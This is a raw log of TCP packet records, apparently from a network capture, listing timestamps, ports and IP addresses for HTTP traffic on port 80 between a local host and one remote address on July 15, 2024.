Jul 15, 2024 00:48:34.116130114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.116142035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.116154909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.116200924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.121423960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.121437073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.123296022 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.126313925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.126329899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.127279997 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131114960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131128073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131139994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131151915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131164074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131175995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131187916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131200075 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131201029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131217957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131228924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131239891 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131252050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131262064 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131264925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131278992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131289959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131290913 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131302118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131314039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131325006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131325960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131340027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131350040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131356955 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131362915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131375074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131381035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131386995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131398916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131400108 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131412029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131424904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131424904 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131437063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131448984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131449938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131460905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131464958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131473064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131485939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131490946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131499052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131510973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131520987 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131531954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131532907 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131545067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131556988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131568909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131572962 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131591082 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131632090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131644011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131654024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131664991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131675005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131685019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131685972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131699085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131705046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131711006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131722927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131735086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131736040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131745100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131752968 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131757021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131767988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131778002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131788969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131793022 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131800890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131814003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131824017 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131825924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131840944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.131854057 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.131870031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132009983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132028103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132038116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132050037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132059097 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132071018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132081032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132091045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132101059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132116079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132126093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132136106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132144928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132155895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132165909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132168055 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132168055 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132168055 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132168055 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132168055 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132178068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132189035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132199049 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132210016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132213116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132213116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132230043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132612944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132626057 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132636070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132647991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132659912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132667065 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132673025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132683992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132687092 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132695913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132707119 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132710934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132723093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132725000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132734060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132746935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132756948 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132764101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132776976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132776976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132787943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132800102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132806063 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132812023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.132833958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.132863998 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133042097 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133055925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133066893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133079052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133089066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133095026 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133104086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133116007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133116007 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133127928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133140087 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133155107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133167028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133176088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133181095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133193016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133203030 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133203983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133218050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133230925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133233070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133244038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133258104 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133258104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133274078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133285046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133290052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133301973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133312941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133315086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133327961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.133346081 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.133372068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.134658098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.134702921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.175432920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175448895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175461054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175508976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175520897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175523996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.175537109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175544024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175556898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175556898 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.175587893 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.175621033 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.175626993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175637960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175649881 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175662994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175673962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175687075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.175688982 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.175713062 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.175728083 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.176068068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176080942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176091909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176119089 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.176325083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176337004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176348925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176358938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176371098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176389933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.176414967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.176470995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176493883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176505089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176517963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176537991 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.176553011 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.176620960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176631927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176644087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176654100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176666975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176676989 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.176703930 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.176867962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176879883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176889896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176902056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176913023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.176923990 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.176948071 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177159071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177170992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177181005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177192926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177203894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177205086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177242041 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177278042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177289009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177301884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177314043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177319050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177325964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177339077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177339077 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177350044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177357912 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177362919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177376986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177382946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177417040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177772045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177788973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177799940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177810907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177822113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177835941 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177844048 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177848101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177860975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177871943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177884102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177887917 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177895069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177906990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177912951 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177927017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177927971 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177938938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177943945 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177952051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177963972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177979946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.177980900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.177993059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178002119 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178005934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178019047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178028107 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178033113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178044081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178055048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178056002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178067923 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178070068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178086042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178105116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178113937 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178116083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178127050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178138971 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178145885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178157091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178164959 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178169012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178181887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178191900 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178196907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178209066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178220987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178225040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178234100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178246975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178251028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178261995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178275108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178277016 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178287029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178298950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178301096 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178313971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178316116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178330898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178342104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178350925 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178354025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178365946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178375959 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178376913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178390026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178395987 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178402901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178414106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178421974 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178426981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178438902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178453922 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178476095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.178566933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178579092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178589106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178601027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178611994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.178623915 CEST	80	57614	23.227.193.59	192.168.2.5
